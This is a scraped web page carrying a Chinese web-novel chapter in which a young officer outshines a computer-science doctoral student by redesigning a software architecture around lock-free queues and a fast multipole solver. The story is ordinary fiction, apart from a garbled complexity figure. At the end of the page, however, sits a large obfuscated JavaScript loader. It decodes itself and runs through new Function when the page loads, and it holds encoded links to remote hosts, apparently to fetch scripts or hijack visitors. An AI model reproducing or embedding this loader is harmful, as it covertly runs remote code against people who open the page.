首页
第149章 可能,这就是天赋
返回
关灯 护眼:关 字号:小

第149章 可能,这就是天赋?

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    国防科技大学,计算科学大楼,一号涉密会议室。
    气氛有些微妙。
    长条会议桌的一端,坐着以计算机学院院长周振华为首的一众教授、博导,他们都是国内计算机领域的顶尖专家。
    而在他们中间,众星捧月般坐着一个年轻人——刘毅。
    二十六岁的博士生,国际大学生程序设计竞赛(ACM-ICPC)全球总决赛金牌得主,被誉为国防科大计算机学院近十年来最耀眼的“王牌”。
    他身形挺拔,戴着一副无框眼镜,镜片后的眼神透着一种属于顶尖程序员的绝对自信与骄傲。
    会议桌的另一端,主位上,只坐着一个人。
    许燃。
    他穿着军装常服,神色平静地翻阅着手中的项目资料,仿佛对周围这些略带审视和好奇的目光毫无察觉。
    校长吴德光亲自将人送来,简单说了几句场面话。
    就把这个被命名为“‘女娲’飞机结冰预测系统”的国家级攻关项目组,连同整个团队的指挥权,正式交到了许燃手上。
    一位应用数学专业的本科生,领导一群计算机科学的博士和教授。
    这画面,无论怎么看,都有点挑战常识。
    周振华院长清了清嗓子,率先打破了沉默,脸上挂着温和的笑容:
    “许燃同学,首先,我代表计算机学院,对你的理论表示由衷的敬佩。
    那篇论文,我们组织全院的教授学习了好几遍,堪称是跨学科的典范之作。”
    他话锋一转。
    “不过,理论转化成工程软件,是另一套逻辑。
    这里面的门道,坑非常多。
    我们今天把你请过来,主要是想让你看看我们这边出的初步软件架构方案。
    你毕竟是理论的提出者,你来把关,我们放心。”
    话说的滴水不漏,客气又周到。
    但潜台词,在场的人都听得懂:理论我们服,但代码我们是专业的。
    你这个“外行”看看就行,点个头,签个字,剩下的就交给我们这些“内行”来干。
    许燃抬起头,扶了扶眼镜,平静地点了点头。
    “好,开始吧。”
    简单的三个字,没有多余的客套。
    周振华对身边的刘毅使了个眼色。
    刘毅站起身,将自己的笔记本电脑连接到投影仪上。
    很快,一幅结构复杂、逻辑清晰的软件架构图,出现在幕布上。
    “许组长,各位老师,这是我根据您的论文思想,熬了三个通宵设计的软件架构。”
    刘毅的声音清亮而自信,他手握激光笔,红色的光点在幕布上精确地移动。
    “本系统采用目前业界最成熟的微服务架构,分为数据采集、模型计算、结果渲染、系统监控四大核心模块。
    模块间通过RESTfulAPI进行通信,保证高内聚、低耦合,便于未来独立升级和维护。”
    “考虑到计算的复杂性,核心计算模块我会采用C++编写,并使用Docker进行容器化部署,方便在超算集群上进行横向扩展。
    数据库嘛,前期使用关系型数据库MySQL存储参数,后期可以引入时序数据库……”
    刘毅侃侃而谈。
    他的讲解清晰流畅,引用的每一个技术名词都是当前计算机领域最前沿最稳妥的选择。
    教科书一般的方案。
    完美。
    在场的几位计算机教授频频点头,脸上露出赞许的神色。
    周振华院长更是面带微笑,自己这个最得意的弟子,果然没让他失望。
    这套方案拿出去,直接就能给一个顶级的软件公司当范本了。
    他看向许燃,等待着对方的赞赏和肯定。
    然而,许燃只是静静地听着,脸上没有任何表情,既不点头,也不摇头。
    会议室里的气氛,随着刘毅讲解的结束,再次陷入一种古怪的安静。
    所有人的目光,都聚焦在了许燃身上。
    刘毅推了推眼镜,心里有些打鼓。
    这套方案他自信是毫无破绽的。
    这位新来的组长,难道还能挑出什么毛病不成?
    许燃终于动了。
    他站起身,走到会议室前方巨大的白板前,拿起一支黑色记号笔。
    这个动作让所有人都愣了一下。
    “刘师兄。”
    许燃开口了,声音不大,却清晰地传到每个人耳朵里。
    “你的架构很规范,很标准。”
    他先是给了一句肯定。
    刘毅刚想松口气,许燃的下一句话,却让他全身的肌肉瞬间绷紧。
    “但这是给‘桃宝’、‘狗东’这种商业软件设计的架构。
    我们的目标是科学计算,是国之重器,追求的不是高可用、易维护,而是极致,是压榨出硬件最后一丝性能的极致效率。”
    话音落下,整个会议室鸦雀无声。
    周振华脸上的笑容僵住了。
    刘毅的脸色微微一变。
    许燃没有看他们,他转身面对白板,手中记号笔的笔盖被“啪”一声拔开。
    他没有直接说刘毅的方案哪里不好,而是提出了第一个问题。
    “第一个问题,数据结构。
    你的方案里完全没有提。
    我要知道,飞机表面被离散成上亿个网格点,这些数据在内存中如何组织?
    你考虑过CPU的缓存行对齐来避免伪共享问题了吗?”
    “嗡!”
    刘毅的脑袋里像是被狠狠敲了一下。
    缓存行对齐?
    伪共享?
    瞬间刺破了他方案华丽架构的外壳!
    这是只有最顶尖的高性能计算专家,在进行底层优化时才会去死磕的细节!
    对于习惯了应用层开发的程序员来说,这几乎是知识盲区!
    他引以为傲的微服务、Docker,在这些底层硬件效率问题面前,听起来像个笑话。
    冷汗瞬间从他的额角渗了出来。
    不等他回答,许燃的第二个问题接踵而至。
    “第二个问题,多线程模型。
    你说用C++,无非就是用标准库里的std::mutex或者std::lock_guard来给共享数据加锁。
    但我们的计算场景,是典型的多生产者-单消费者模型。
    每次加锁解锁,都意味着用户态到内核态的切换,会带来多大的上下文开销?
    为什么不用基于CAS原子操作的无锁队列?”
    如果说第一个问题只是让他震惊,第二个问题就让他感到了恐惧!
    无锁编程!
    这在程序员的世界里,堪称金字塔尖的屠龙之技!
    难度极高,稍有不慎就会导致逻辑崩溃,但一旦成功,带来的性能提升是碾压性的!
    这个搞应用数学的,怎么会对计算机并发编程的底层原理,理解到这种妖孽的程度?
    会议室里,几位教授的脸色已经变了,他们看着许燃的背影,眼神里充满了骇然。
    许燃仿佛没有看到这一切。
    他的声音依旧平稳,提出了第三个,也是最致命的一个问题。
    “第三个问题,算法。
    这是核心。
    我看到你的架构图里,‘模型计算’只是一个黑盒子。
    核心的偏微分方程求解器,你准备用传统的有限元法(FEM)还是有限差分法(FDM)?
    这两种方法,时间复杂度都是O(n06),面对我们上亿的网格,超算来了也得算到天荒地老。”
    许燃转过身,目光第一次直视刘毅,眼神平静如水。
    “我的论文第十七页,第四节,专门论述了如何引入‘快速多极子算法(FMM)’对格林函数进行加速。
    这能将计算复杂度,从O(n06),直接降到O(nlogn)。”
    “你……没看到吗?”
    “轰隆!”
    刘毅只觉得天旋地转,眼前发黑。
    看到了,他当然看到了!
    但他根本没看懂!
    他只当那是纯粹的数学理论推导,根本没想过这玩意儿居然能直接转化成工程代码!
    原来,对方论文里那些他以为是“炫技”的屠龙之术,是真的要用来“屠龙”的!
    而自己,捧着金饭碗,却还在用讨饭的思路去设计工具。
    三个问题。
    一个比一个深入,一个比一个致命。
    第一个,直击硬件底层。
    第二个,穿透操作系统内核。
    第三个,直捣算法核心!
    层层递进,无可辩驳。
    刘毅被誉为教科书的架构图,在这三个问题面前就像被三拳打穿的纸老虎,脆弱不堪,漏洞百出。
    引以为傲了几年的专业知识,此刻被无情打击。
    许燃没有再看他。
    转过身去,他手中的记号笔在白板上飞快地舞动起来。
    “哗哗哗——”
    没有复杂的方框,没有繁琐的箭头。
    一个新的架构图,在所有人的注视下,迅速成型。
    它只有一个核心:用红色标记笔圈出来的“FMMSolver”(快速多极子算法求解器)。
    所有的数据流、线程池、内存管理模块,都像最忠诚的卫星,紧紧围绕着这个“太阳”运转。
    整个架构简洁优雅,像一个数学公式。
    充满了暴力而直接的美感。
    一切,为了算法服务!
    一切,为效率让路!
    所有花里胡哨的、增加通讯开销的东西,统统被砍掉!
    “数据,用结构体数组存储,保证内存连续,起始地址按64字节对齐。”
    “线程间通信,用我写的一个环形无锁队列。”
    “任务分发,基于空间八叉树分解……”
    许燃一边画,一边解释。
    没有一句废话,每个字都精准地命中工程实践的靶心。
    十分钟。
    只用了十分钟。
    一幅以极致性能为唯一目标的科学计算软件架构,跃然于白板之上。
    整个会议室,死寂一片。
    只有几位老教授越来越粗重的喘息声。
    他们看着白板上的图,再看看许燃的背影,眼神从最初的审视,到震惊骇然,最终化为仰望。
    这是……什么怪物?
    一个人的知识体系,怎么可能同时覆盖应用数学、计算数学、计算机体系结构、并发编程这么多顶尖领域,而且每一个都达到了碾压级的深度?
    这不科学!
    当许燃画下最后一笔,放下记号笔时。
    刘毅呆呆地看着那张图,仿佛看到了新世界的大门。
    脸上所有的骄傲和自信都消失了,取而代之的是醍醐灌顶般的震撼和彻头彻尾的敬畏。
    他终于明白,自己和眼前这个年轻人的差距,根本不是努力可以弥补的。
    是维度上的差距。
    在所有人震惊的目光中,刘毅缓缓站直身体,朝着许燃敬了个礼。
    标准。
    心悦诚服。
    “许老师……我……我明白了。”
    一声“老师”,喊得真心实意。
    从“许组长”,到“许老师”,一词之差,天壤之别。
    前者是职务,后者是传道者。
    整个团队,所有计算机学院的精英们,在这一刻,再无二话。
    许燃转过身,看了看被折服的众人,脸上依旧没什么波澜,好像只是做了一件微不足道的小事。
    可能,这就是天赋?
    他拿起桌上的项目计划书,淡淡地开口。
    “好,那就按这个方案来。”
    “开始吧。”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();